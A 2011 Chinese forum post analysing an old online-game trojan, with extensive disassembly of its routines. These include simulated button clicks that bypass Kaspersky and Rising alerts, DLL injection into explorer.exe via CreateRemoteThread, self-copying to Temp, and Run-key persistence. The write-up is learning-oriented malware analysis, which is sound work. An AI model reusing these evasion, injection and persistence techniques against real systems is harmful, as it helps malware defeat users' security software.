-
-
[原创]一款老木马的分析
-
发表于: 2011-7-24 21:48 7140
-
【文章标题】:一款老木马的分析
【文章作者】: loongzyd
【作者声明】: 学长布置的"作业","打怪升级长经验"
【特别注意】:分析完了之后在网上看了一下大概是07年的一款网游木马,比较"悲剧"的是在论坛上3年前就有前辈发表过分析文章。本来就不该发了,但是发现两个程序有点差别。学长给我的相对简单一点,适合我这种菜鸟分析。所以就当今天的学习笔记吧。
【是否加壳】:无
【使用工具】:OllyDbg,IDA,PEID
昨天胖胖回学校闲来无事,在我电脑上玩了一会儿,走之前留下一个程序让我分析,分析完毕之后:jmp 【特别注意】
下面进入正题:
首先,我们用winhex打开upxdnd.exe,发现应该是没有加壳的。在往后拖动的的过程中我们在offset:1860处发现了'MZ',1930处发现了'PE',基本可以确定是个PE格式的文件。我们再用peid载入,发现.rsrc的文件偏移地址为0x1800,0x1860的数据属于资源节,看来是把一个PE文件作为资源数据了.下面我们来验证一下:(顺便巩固一下资源目录表的知识)
IMAGE_RESOURCE_DIRECTORY STRUCT
Characteristics DWORD ? ;理论为属性标志,但通常为0
TimeDateStamp DWORD ? ;资源建立时间,通常为0
MajorVersion DWORD ? ;主版本号,通常为0
MinorVersion DWORD ? ;副版本号,通常为0
NumberOfNamedEntries WORD ? ;使用名字的资源个数
NumberOfIdEntries WORD ? ;使用ID数字的资源个数
IMAGE_RESOURCE_DIRECTORY ENDS
从截图可以看出,NumberOfNamedEntires为1,NumberOfIdEntries为0.所以本目录中的目录项总数为1.从offset:1810开始有一个IMAGE_RESOURCE_DIRECTORY_ENTRY结构,其中Name字段为80000058h,OffsetToData字段为80000018h,Name字段高位为1,所以低位数据作为地址加上资源节起始地址为00001858,指向IMAGE_RESOURCE_DIR_STRING_U结构,Length字段为03h,表示资源名称长度为3,而资源名称字符串采用UNICODE编码,所以字符串为"DLL",并且第一层数据目录中Name字段表示资源类型,所以该资源类型为"DLL".而OffsetToData字段的高位为1,低位数据为0018h,此时加上资源节的开始00001800h为00001818h:,同理我们可以看到第二层有1个使用ID数字的资源,对应的IMAGE_RESOURCE_DIRECTORY_ENTRY结构中,Name字段为65h,所以该资源的名称为65h.OffsetToData字段为80000030h,得到下一层的地址为00001830h:这一层同样只有一个使用ID数字的资源,对应的IMAGE_RESORCE_DIRECTORY_ENTRY地址为00001840h,因为这是第三层了,其OffsetToData指向IMAGE_RESOURCE_DATA_ENTRY结构,我们找到了资源数据的RVA为:4060,转化为相应的Offset为00001860,刚好为PE格式文件数据的首地址。我们可以猜测程序将通过加载资源的方式将此PE文件释放出来.该资源的类型为"DLL",名称为65h.
接下来我们同时用OllDbg和IDA载入(双管齐下):
定位到WinMain函数004012F2h.
我们发现程序首先获取Temp文件路径(GetTempPath),然后获取当前程序的路径(GetModuleFileName).
然后将当前程序完整路径中的最后一个'\'给清除。然后调用一个子程序upxdnd.004010F7:这个子函数的作用应该是将系统的音量在程序运行时关闭.
mov edi, 103h
push eax ; lpBuffer
push edi ; nBufferLength
call ds:GetTempPathA ;获取临时目录
mov esi, ds:strrchr
lea eax, [ebp+Source]
push 5Ch ; Ch
push eax ; Str
call esi ; strrchr
xor ebx, ebx
_text_401337:
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+CmdLine]
push eax ; Dest
call strcpy
pop ecx
lea eax, [ebp+FileName]
pop ecx
push edi ; nSize
push eax ; lpFilename
push ebx ; hModule
call ds:GetModuleFileNameA ;hModule为NULL,获取当前程序完整路径。
lea eax, [ebp+FileName]
push 5Ch ; Ch
push eax ; Str
call esi ; strrchr
后创建了一个线程,线程函数upxdnd.0040104c.
这个函数的功能是查找窗口标题为"AVP.AlertDialoG"的窗口,然后再这个窗口上查找标题为"允许","跳过"的子窗体,分别向这两个窗体发送WM_LBUTTONDOWN(201h),WM_LBUTTONUP(202h)消息,模拟鼠标点击,接着查找窗口标题为"AVP.Product_Notification","瑞星注册表监控提示"的窗口,分别向这两个窗体发送WM_CLOSE(10h)消息,模拟用户关闭.
0040104C . 53 PUSH EBX
0040104D . 55 PUSH EBP
0040104E . 56 PUSH ESI
0040104F . 8B35 04214000 MOV ESI,DWORD PTR DS:[<&USER32.SendMessa>; USER32.SendMessageA
00401055 . 57 PUSH EDI
00401056 . 33FF XOR EDI,EDI
00401058 > 6A 01 PUSH 1 ; /Timeout = 1. ms
0040105A . FF15 80204000 CALL DWORD PTR DS:[<&KERNEL32.Sleep>] ; \Sleep
00401060 . 57 PUSH EDI ; /Title
00401061 . 68 4C314000 PUSH upxdnd.0040314C ; |Class = "AVP.AlertDialoG"
00401066 . FF15 00214000 CALL DWORD PTR DS:[<&USER32.FindWindowA>>; \FindWindowA
0040106C . 8BE8 MOV EBP,EAX
0040106E . 3BEF CMP EBP,EDI
00401070 . 74 50 JE SHORT upxdnd.004010C2
00401072 . 68 5C314000 PUSH upxdnd.0040315C ; /Title = "允许"
00401077 . 57 PUSH EDI ; |Class
00401078 . 57 PUSH EDI ; |hAfterWnd
00401079 . 55 PUSH EBP ; |hParent
0040107A . FF15 FC204000 CALL DWORD PTR DS:[<&USER32.FindWindowEx>; \FindWindowExA
00401080 . 8BD8 MOV EBX,EAX
00401082 . 3BDF CMP EBX,EDI
00401084 . 74 14 JE SHORT upxdnd.0040109A
00401086 . 57 PUSH EDI
00401087 . 57 PUSH EDI
00401088 . 68 01020000 PUSH 201 ;WM_LBUTTONDOWN(201h)
0040108D . 53 PUSH EBX
0040108E . FFD6 CALL ESI
00401090 . 57 PUSH EDI
00401091 . 57 PUSH EDI
00401092 . 68 02020000 PUSH 202 ;WM_LBUTTONUP(202h)
00401097 . 53 PUSH EBX
00401098 . FFD6 CALL ESI
0040109A > 68 08314000 PUSH upxdnd.00403108 ; /Title = "跳过"
0040109F . 57 PUSH EDI ; |Class
004010A0 . 57 PUSH EDI ; |hAfterWnd
004010A1 . 55 PUSH EBP ; |hParent
004010A2 . FF15 FC204000 CALL DWORD PTR DS:[<&USER32.FindWindowEx>; \FindWindowExA
004010A8 . 8BD8 MOV EBX,EAX
004010AA . 3BDF CMP EBX,EDI
004010AC . 74 14 JE SHORT upxdnd.004010C2
004010AE . 57 PUSH EDI
004010AF . 57 PUSH EDI
004010B0 . 68 01020000 PUSH 201
004010B5 . 53 PUSH EBX
004010B6 . FFD6 CALL ESI
004010B8 . 57 PUSH EDI
004010B9 . 57 PUSH EDI
004010BA . 68 02020000 PUSH 202
004010BF . 53 PUSH EBX
004010C0 . FFD6 CALL ESI
004010C2 > 8B1D 00214000 MOV EBX,DWORD PTR DS:[<&USER32.FindWindo>; USER32.FindWindowA
004010C8 . 57 PUSH EDI ; /Title
004010C9 . 68 30314000 PUSH upxdnd.00403130 ; |Class = "AVP.Product_Notification"
004010CE . FFD3 CALL EBX ; \FindWindowA
004010D0 . 3BC7 CMP EAX,EDI
004010D2 . 74 07 JE SHORT upxdnd.004010DB
004010D4 . 57 PUSH EDI
004010D5 . 57 PUSH EDI
004010D6 . 6A 10 PUSH 10 ;WM_CLOSE(10h)
004010D8 . 50 PUSH EAX
004010D9 . FFD6 CALL ESI
004010DB > 68 10314000 PUSH upxdnd.00403110
004010E0 . 57 PUSH EDI
004010E1 . FFD3 CALL EBX
004010E3 . 3BC7 CMP EAX,EDI
004010E5 .^ 0F84 6DFFFFFF JE upxdnd.00401058
004010EB . 57 PUSH EDI
004010EC . 57 PUSH EDI
004010ED . 6A 10 PUSH 10
004010EF . 50 PUSH EAX
004010F0 . FFD6 CALL ESI
004010F2 .^ E9 61FFFFFF JMP upxdnd.00401058
通过模拟用户点击的方法"过"掉了卡巴和瑞星的主动防御
关闭系统音量绝对算是"以人为本"
_text_4010F7 proc near
var_174= dword ptr -174h
var_170= dword ptr -170h
Dst= dword ptr -0E0h
var_D4= dword ptr -0D4h
var_C8= dword ptr -0C8h
pmxcd= tMIXERCONTROLDETAILS ptr -38h
pmxlc= tagMIXERLINECONTROLSA ptr -20h
var_8= dword ptr -8
hmxobj= dword ptr -4
arg_0= dword ptr 8
push ebp
mov ebp, esp
sub esp, 174h
push ebx
push esi
push edi
xor edi, edi
push edi ; fdwOpen
push edi ; dwInstance
push edi ; dwCallback
lea eax, [ebp+hmxobj]
push edi ; uMxId
push eax ; phmx
call ds:mixerOpen
mov esi, 0A8h
lea eax, [ebp+Dst]
push esi ; Size
push edi ; Val
push eax ; Dst
call memset
add esp, 0Ch
lea eax, [ebp+Dst]
mov [ebp+Dst], esi
mov [ebp+var_C8], 4
push 2 ; fdwInfo
push eax ; pmxl
push [ebp+hmxobj] ; hmxobj
call ds:mixerGetLineInfoA
push 18h
lea eax, [ebp+pmxlc]
pop ebx
push ebx ; Size
push edi ; Val
push eax ; Dst
call memset
mov eax, [ebp+var_D4]
add esi, 0FFFFFFECh
mov [ebp+pmxlc.dwLineID], eax
lea eax, [ebp+var_174]
mov [ebp+pmxlc.pamxctrl], eax
push esi ; Size
lea eax, [ebp+var_174]
push edi ; Val
push eax ; Dst
mov [ebp+pmxlc.cbStruct], ebx
mov dword ptr [ebp+pmxlc.anonymous_0], 20010002h
mov [ebp+pmxlc.cControls], 1
mov [ebp+pmxlc.cbmxctrl], esi
call memset
add esp, 18h
lea eax, [ebp+pmxlc]
mov [ebp+var_174], esi
call memset
add esp, 18h
lea eax, [ebp+pmxlc]
mov [ebp+var_174], esi
push 2 ; fdwControls
push eax ; pmxlc
push [ebp+hmxobj] ; hmxobj
call ds:mixerGetLineControlsA
push ebx ; Size
lea eax, [ebp+pmxcd]
push edi ; Val
push eax ; Dst
call memset
mov eax, [ebp+var_170]
add esp, 0Ch
mov [ebp+pmxcd.dwControlID], eax
lea eax, [ebp+var_8]
mov [ebp+pmxcd.paDetails], eax
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
lea eax, [ebp+pmxcd]
push edi ; fdwDetails
push eax ; pmxcd
push [ebp+hmxobj] ; hmxobj
mov [ebp+pmxcd.cbStruct], ebx
mov [ebp+pmxcd.cbDetails], 4
mov [ebp+pmxcd.cChannels], 1
call ds:mixerSetControlDetails
pop edi
pop esi
pop ebx
leave
retn
_text_4010F7 endp
不知道这招过时没有
接着对比程序的当前路径和Temp文件路径是否相同,如果不相同就将本程序复制到Temp文件里面,然后执行Temp文件里面的程序,最后执行upxdnd.004010F7,恢复系统音量.
代码与关闭系统音量基本相似就略过了。
_text_4014CD:
mov esi, ds:sprintf
lea eax, [ebp+CmdLine]
push offset s__Upxdnd_exe ; "upxdnd.exe"
push eax
lea eax, [ebp+NewFileName]
push offset s__SS ; "%s\\%s"
push eax ; Dest
call esi ; sprintf
add esp, 10h
lea eax, [ebp+FileName]
push edi ; nSize
push eax ; lpFilename
push ebx ; hModule
call ds:GetModuleFileNameA
lea eax, [ebp+NewFileName]
push ebx ; bFailIfExists
push eax ; lpNewFileName
lea eax, [ebp+FileName]
push eax ; lpExistingFileName
call ds:CopyFileA
call ds:GetCurrentProcessId
push eax
lea eax, [ebp+FileName]
push 40h
push eax
lea eax, [ebp+NewFileName]
push ebx ; bFailIfExists
push eax ; lpNewFileName
lea eax, [ebp+FileName]
push eax ; lpExistingFileName
call ds:CopyFileA
call ds:GetCurrentProcessId
push eax
lea eax, [ebp+FileName]
push 40h
push eax
lea eax, [ebp+NewFileName]
push 40h
push eax
lea eax, [ebp+CmdLine]
push offset s__SCSCD ; "%s %c%s%c%d"
push eax ; Dest
call esi ; sprintf
add esp, 1Ch
lea eax, [ebp+CmdLine]
push ebx ; uCmdShow
push eax ; lpCmdLine
call ds:WinExec
当用WinExec执行C:\DOCUME~1\test1\LOCALS~1\Temp\目录下的程序时,参数为"@'Local Settings的temp目录下的程序'@'当前进程ID号'",参数以@作为标记,方便处理。现在我们重点关注WinExec的执行。前面的都一样,后面执行if语句的第一个分支:首先将之前的进程关闭,然后将原文件删除。
接着,调用一个子函数upxdnd.00401267:该函数建立当前所有进程快照,然后从中匹配"explorer.exe"进程,返回该进程ID。
00401267 /$ 55 PUSH EBP
00401268 |. 8BEC MOV EBP,ESP
0040126A |. 81EC 28010000 SUB ESP,128
00401270 |. 53 PUSH EBX
00401271 |. 56 PUSH ESI
00401272 |. 57 PUSH EDI
00401273 |. 6A 49 PUSH 49
00401275 |. 33DB XOR EBX,EBX
00401277 |. 59 POP ECX
00401278 |. 33C0 XOR EAX,EAX
0040127A |. 8DBD DCFEFFFF LEA EDI,DWORD PTR SS:[EBP-124]
00401280 |. 899D D8FEFFFF MOV DWORD PTR SS:[EBP-128],EBX
00401286 |. 53 PUSH EBX ; /ProcessID => 0
00401287 |. F3:AB REP STOS DWORD PTR ES:[EDI] ; |
00401289 |. 6A 02 PUSH 2 ; |Flags = TH32CS_SNAPPROCESS
0040128B |. E8 AA040000 CALL <JMP.&KERNEL32.CreateToolhelp32Snap>; \CreateToolhelp32Snapshot
00401290 |. 8BF8 MOV EDI,EAX
00401292 |. 8D85 D8FEFFFF LEA EAX,DWORD PTR SS:[EBP-128]
00401298 |. 50 PUSH EAX ; /pProcessentry
00401299 |. 57 PUSH EDI ; |hSnapshot
0040129A |. C785 D8FEFFFF>MOV DWORD PTR SS:[EBP-128],128 ; |
004012A4 |. E8 8B040000 CALL <JMP.&KERNEL32.Process32First> ; \Process32First
004012A9 |. 8B35 D0204000 MOV ESI,DWORD PTR DS:[<&MSVCRT._stricmp>>; MSVCRT._stricmp
004012AF |. 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104]
004012B5 |. 50 PUSH EAX
004012B6 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
004012B9 |> FFD6 /CALL ESI
004012BB |. 59 |POP ECX
004012BC |. 85C0 |TEST EAX,EAX
004012BE |. 59 |POP ECX
004012BF |. 74 1D |JE SHORT upxdnd.004012DE
004012C1 |. 8D85 D8FEFFFF |LEA EAX,DWORD PTR SS:[EBP-128]
004012C7 |. 50 |PUSH EAX ; /pProcessentry
004012C8 |. 57 |PUSH EDI ; |hSnapshot
004012C9 |. E8 60040000 |CALL <JMP.&KERNEL32.Process32Next> ; \Process32Next
004012CE |. 85C0 |TEST EAX,EAX
004012D0 |. 74 12 |JE SHORT upxdnd.004012E4
004012D2 |. 8D85 FCFEFFFF |LEA EAX,DWORD PTR SS:[EBP-104]
004012D8 |. 50 |PUSH EAX
004012D9 |. FF75 08 |PUSH DWORD PTR SS:[EBP+8]
004012DC |.^ EB DB \JMP SHORT upxdnd.004012B9
004012DE |> 8B9D E0FEFFFF MOV EBX,DWORD PTR SS:[EBP-120]
004012E4 |> 57 PUSH EDI ; /hObject
004012E5 |. FF15 40204000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
004012EB |. 5F POP EDI
004012EC |. 8BC3 MOV EAX,EBX
004012EE |. 5E POP ESI
004012EF |. 5B POP EBX
004012F0 |. C9 LEAVE
004012F1 \. C3 RETN
如果正确找到指定进程ID,构造一个文件名"upxdnd.dll",此文件存在于temp目录下。接下里执行子函数upxdnd.004011EF,这里我们可以看到调用了FindResourceA这个API函数,并且第二个参数为65h,第三个参数为"DLL",是不是很熟悉啦,没错,这就是一开始我们发现的"PE文件"资源.从msdn我们可以知道,第二个参数为资源名称,第三个参数为资源类型。之后可以看到是将整个PE文件复制到upxdnd.dll里面,和我们之前的推测一样。接下来的子程序应该是重点了。
004011EF /$ 55 PUSH EBP
004011F0 |. 8BEC MOV EBP,ESP
004011F2 |. 53 PUSH EBX
004011F3 |. 56 PUSH ESI
004011F4 |. 57 PUSH EDI
004011F5 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; /ResourceType
004011F8 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |ResourceName
004011FB |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hModule
004011FE |. FF15 70204000 CALL DWORD PTR DS:[<&KERNEL32.FindResour>; \FindResourceA
00401204 |. 8BF0 MOV ESI,EAX
00401206 |. 85F6 TEST ESI,ESI
00401208 |. 74 3D JE SHORT upxdnd.00401247
0040120A |. 56 PUSH ESI ; /hResource
0040120B |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hModule
0040120E |. FF15 74204000 CALL DWORD PTR DS:[<&KERNEL32.SizeofReso>; \SizeofResource
00401214 |. 56 PUSH ESI ; /hResource
00401215 |. 8BD8 MOV EBX,EAX ; |
00401217 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hModule
0040121A |. FF15 78204000 CALL DWORD PTR DS:[<&KERNEL32.LoadResour>; \LoadResource
00401220 |. 85C0 TEST EAX,EAX
00401222 |. 74 23 JE SHORT upxdnd.00401247
00401224 |. 50 PUSH EAX ; /nHandles
00401225 |. FF15 7C204000 CALL DWORD PTR DS:[<&KERNEL32.LockResour>; \SetHandleCount
0040122B |. 8BF8 MOV EDI,EAX
0040122D |. 85FF TEST EDI,EDI
0040122F |. 74 16 JE SHORT upxdnd.00401247
00401231 |. 68 64314000 PUSH upxdnd.00403164 ; /mode = "wb"
00401236 |. FF75 14 PUSH DWORD PTR SS:[EBP+14] ; |path
00401239 |. FF15 B0204000 CALL DWORD PTR DS:[<&MSVCRT.fopen>] ; \fopen
0040123F |. 8BF0 MOV ESI,EAX
00401241 |. 59 POP ECX
00401242 |. 85F6 TEST ESI,ESI
00401244 |. 59 POP ECX
00401245 |. 75 04 JNZ SHORT upxdnd.0040124B
00401247 |> 32C0 XOR AL,AL
00401249 |. EB 17 JMP SHORT upxdnd.00401262
0040124B |> 56 PUSH ESI ; /stream
0040124C |. 6A 01 PUSH 1 ; |n = 1
0040124E |. 53 PUSH EBX ; |size
0040124F |. 57 PUSH EDI ; |ptr
00401250 |. FF15 AC204000 CALL DWORD PTR DS:[<&MSVCRT.fwrite>] ; \fwrite
00401256 |. 56 PUSH ESI ; /stream
00401257 |. FF15 A8204000 CALL DWORD PTR DS:[<&MSVCRT.fclose>] ; \fclose
0040125D |. 83C4 14 ADD ESP,14
00401260 |. B0 01 MOV AL,1
00401262 |> 5F POP EDI
00401263 |. 5E POP ESI
00401264 |. 5B POP EBX
00401265 |. 5D POP EBP
00401266 \. C3 RETN
下面是主要实现DLL注入的代码:
00401592 /$ 55 PUSH EBP
00401593 |. 8BEC MOV EBP,ESP
00401595 |. 81EC 34010000 SUB ESP,134
0040159B |. 53 PUSH EBX
0040159C |. 56 PUSH ESI
0040159D |. 57 PUSH EDI
0040159E |. 33DB XOR EBX,EBX
004015A0 |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; /ProcessId
004015A3 |. 53 PUSH EBX ; |Inheritable => FALSE
004015A4 |. 68 FF0F1F00 PUSH 1F0FFF ; |Access = PROCESS_ALL_ACCESS
004015A9 |. FF15 38204000 CALL DWORD PTR DS:[<&KERNEL32.OpenProces>; \OpenProcess
004015AF |. 3BC3 CMP EAX,EBX
004015B1 |. 8945 08 MOV DWORD PTR SS:[EBP+8],EAX
004015B4 |. 0F84 23010000 JE upxdnd.004016DD
004015BA |. 68 84304000 PUSH upxdnd.00403084 ; /FileName = "kernel32.dll"
004015BF |. FF15 64204000 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
004015C5 |. BF 30010000 MOV EDI,130
004015CA |. 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
004015CD |. 57 PUSH EDI ; /n => 130 (304.)
004015CE |. 8D85 CCFEFFFF LEA EAX,DWORD PTR SS:[EBP-134] ; |
004015D4 |. 53 PUSH EBX ; |c => 00
004015D5 |. 50 PUSH EAX ; |s
004015D6 |. E8 6B010000 CALL <JMP.&MSVCRT.memset> ; \memset
004015DB |. 8B35 60204000 MOV ESI,DWORD PTR DS:[<&KERNEL32.GetProc>; kernel32.GetProcAddress
004015E1 |. 83C4 0C ADD ESP,0C
004015E4 |. 68 94304000 PUSH upxdnd.00403094 ; /ProcNameOrOrdinal = "LoadLibraryA"
004015E9 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hModule
004015EC |. FFD6 CALL ESI ; \GetProcAddress
004015EE |. 68 D4304000 PUSH upxdnd.004030D4 ; /ProcNameOrOrdinal = "GetProcAddress"
004015F3 |. 8985 CCFEFFFF MOV DWORD PTR SS:[EBP-134],EAX ; |
004015F9 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hModule
004015FC |. FFD6 CALL ESI ; \GetProcAddress
004015FE |. 68 E4304000 PUSH upxdnd.004030E4 ; /ProcNameOrOrdinal = "Sleep"
00401603 |. 8985 D0FEFFFF MOV DWORD PTR SS:[EBP-130],EAX ; |
00401609 |. FF75 FC PUSH DWORD PTR SS:[EBP-4] ; |hModule
0040160C |. FFD6 CALL ESI ; \GetProcAddress
0040160E |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; /src
00401611 |. 8985 D4FEFFFF MOV DWORD PTR SS:[EBP-12C],EAX ; |
00401617 |. 8D85 D8FEFFFF LEA EAX,DWORD PTR SS:[EBP-128] ; |
0040161D |. 50 PUSH EAX ; |dest
0040161E |. E8 29010000 CALL <JMP.&MSVCRT.strcpy> ; \strcpy
00401623 |. FF75 10 PUSH DWORD PTR SS:[EBP+10] ; /src
00401626 |. 8D45 DC LEA EAX,DWORD PTR SS:[EBP-24] ; |
00401629 |. 50 PUSH EAX ; |dest
0040162A |. E8 1D010000 CALL <JMP.&MSVCRT.strcpy> ; \strcpy
0040162F |. 83C4 10 ADD ESP,10
00401632 |. 8B35 5C204000 MOV ESI,DWORD PTR DS:[<&KERNEL32.Virtual>; kernel32.VirtualAllocEx
00401638 |. 6A 04 PUSH 4
0040163A |. 68 00100000 PUSH 1000
0040163F |. 57 PUSH EDI
00401640 |. 53 PUSH EBX
00401641 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
00401644 |. FFD6 CALL ESI ; <&KERNEL32.VirtualAllocEx>
00401646 |. 3BC3 CMP EAX,EBX
00401648 |. 8945 10 MOV DWORD PTR SS:[EBP+10],EAX
0040164B |. 0F84 8C000000 JE upxdnd.004016DD
00401651 |. 53 PUSH EBX ; /pBytesWritten
00401652 |. 8D8D CCFEFFFF LEA ECX,DWORD PTR SS:[EBP-134] ; |
00401658 |. 57 PUSH EDI ; |BytesToWrite
00401659 |. 51 PUSH ECX ; |Buffer
0040165A |. 50 PUSH EAX ; |Address
0040165B |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hProcess
0040165E |. FF15 58204000 CALL DWORD PTR DS:[<&KERNEL32.WriteProce>; \WriteProcessMemory
00401664 |. 85C0 TEST EAX,EAX
00401666 |. 74 75 JE SHORT upxdnd.004016DD
00401668 |. BF 92154000 MOV EDI,upxdnd.00401592 ; 入口地址
0040166D |. 81EF 67154000 SUB EDI,upxdnd.00401567
00401673 |. 57 PUSH EDI ; /MemSize => 2B (43.)
00401674 |. 53 PUSH EBX ; |Flags
00401675 |. FF15 54204000 CALL DWORD PTR DS:[<&KERNEL32.GlobalAllo>; \GlobalAlloc
0040167B |. 50 PUSH EAX ; /hMem
0040167C |. 8945 0C MOV DWORD PTR SS:[EBP+C],EAX ; |
0040167F |. FF15 50204000 CALL DWORD PTR DS:[<&KERNEL32.GlobalLock>; \GlobalLock
00401685 |. 57 PUSH EDI
00401686 |. FF75 0C PUSH DWORD PTR SS:[EBP+C]
00401689 |. 68 67154000 PUSH upxdnd.00401567
0040168E |. FF15 1C204000 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; [GetCurrentProcess
00401694 |. 50 PUSH EAX
00401695 |. E8 66F9FFFF CALL upxdnd.00401000
0040169A |. 83C4 10 ADD ESP,10
0040169D |. 84C0 TEST AL,AL
0040169F |. 74 3C JE SHORT upxdnd.004016DD
004016A1 |. 6A 40 PUSH 40
004016A3 |. 68 00100000 PUSH 1000
004016A8 |. 57 PUSH EDI
004016A9 |. 53 PUSH EBX
004016AA |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
004016AD |. FFD6 CALL ESI
004016AF |. 8BF0 MOV ESI,EAX
004016B1 |. 3BF3 CMP ESI,EBX
004016B3 |. 74 28 JE SHORT upxdnd.004016DD
004016B5 |. 53 PUSH EBX ; /pBytesWritten
004016B6 |. 57 PUSH EDI ; |BytesToWrite
004016B7 |. FF75 0C PUSH DWORD PTR SS:[EBP+C] ; |Buffer
004016BA |. 56 PUSH ESI ; |Address
004016BB |. FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hProcess
004016BE |. FF15 58204000 CALL DWORD PTR DS:[<&KERNEL32.WriteProce>; \WriteProcessMemory
004016C4 |. 85C0 TEST EAX,EAX
004016C6 |. 74 15 JE SHORT upxdnd.004016DD
004016C8 |. 53 PUSH EBX
004016C9 |. 53 PUSH EBX
004016CA |. FF75 10 PUSH DWORD PTR SS:[EBP+10]
004016CD |. 56 PUSH ESI
004016CE |. 68 00040000 PUSH 400
004016D3 |. 53 PUSH EBX
004016D4 |. FF75 08 PUSH DWORD PTR SS:[EBP+8]
004016D7 |. FF15 4C204000 CALL DWORD PTR DS:[<&KERNEL32.CreateRemo>; kernel32.CreateRemoteThread
004016DD |> 5F POP EDI
004016DE |. 5E POP ESI
004016DF |. 5B POP EBX
004016E0 |. C9 LEAVE
004016E1 \. C3 RETN
upxdnd.401592:首先打开"explorer.exe"进程,然后加载Kerner32.dll,获取LoadLibrary,GetProcAddress,Sleep函数的地址,第一次调用VirtualAlloc得到的地址即为Vir_add_1,接着调用了WriteProcessMemory函数向Vir_add_1中写入数据,写入的数据为LoadLibrary函数地址,GetProcAddress函数地址,Sleep函数地址,upxdnd.dll文件的路径。第二次调用VirualAlloc得到的地址为Vir_add_2,然后又调用了WriteProcessMemory函数向Vir_add_2中写入数据,写入的数据为upxdnd.00401567函数的所有反汇编代码,即将整个函数拷贝过去了。最后我们可以看到调用了CreateRemoteThread函数,在explorer.exe进程中建立了一个远线程,其中lpStartAddress即为Vir_add_2,也就是为upxdnd.00401567函数,lpParamter参数为Vir_add_2.下面我们看看upxdnd.00401567函数,这里首先调用LoadLibrary函数加载了upxdnd.dll,然后调用了dll里面的函数,最后调用sleep。
我们接着往下走,程序调用了upxdnd.004016E2函数,有两个参数,第一个参数为temp目录下upxdnd.exe程序的完整文件名,第二个参数为"upxdnd".此函数调用了RegOpenKeyExA,RegSetValue ExA函数,在注册表项HKEY_LOCAL_MACHINE\SoftWare\Microsoft\windows\CurrentVersion\Run启动项里面注册了一个启动程序,名称和数据即为函数传入的参数
int __cdecl _text_4016E2(LPCSTR lpValueName, char *lpData)
_text_4016E2 proc near
hKey= dword ptr -4
lpValueName= dword ptr 8
lpData= dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
lea eax, [ebp+hKey]
push eax ; phkResult
push 0F003Fh ; samDesired
push 0 ; ulOptions
push offset SubKey ; "SoftWare\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h ; hKey
call ds:RegOpenKeyExA
test eax, eax
jnz short _text_40172B
push [ebp+lpData] ; Str
call strlen
pop ecx
push eax ; cbData
push [ebp+lpData] ; lpData
push 1 ; dwType
push 0 ; Reserved
push [ebp+lpValueName] ; lpValueName
push [ebp+hKey] ; hKey
call ds:RegSetValueExA
push [ebp+hKey] ; hKey
call ds:RegCloseKey
_text_40172B:
leave
retn
_text_4016E2 endp
我们来看看中毒后的情况:
在temp目录下多了两个文件:upxdnd.dll,upxdnd.exe
注册表启动项增加:
至此exe部分分析完毕,本身程序没有夹壳,也是用windows sdk编写的,适合我等小菜入门。
通过分析这个样本,我们可以了解到通过模拟点击窗体的方法"过掉"某些杀毒软件,虽然程序中之列出了瑞星卡巴,但是其它杀软也可以依样画葫芦。同时将系统的声音暂时关闭可谓想的非常周到,当然重点是在通过对进程的遍历,选择特定的进程注入DLL,然后使用远线程执行。另外不得不提的是将DLL文件以资源的方式嵌入.exe文件中...
好了,分析到此结束。希望通过这个随笔,大家能够有所收获。
另外.dll文件分析起来有点困难(本人不打网络游戏),有些必须通过动态调试分析的代码就没有办法理解。
希望大家多多指教
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)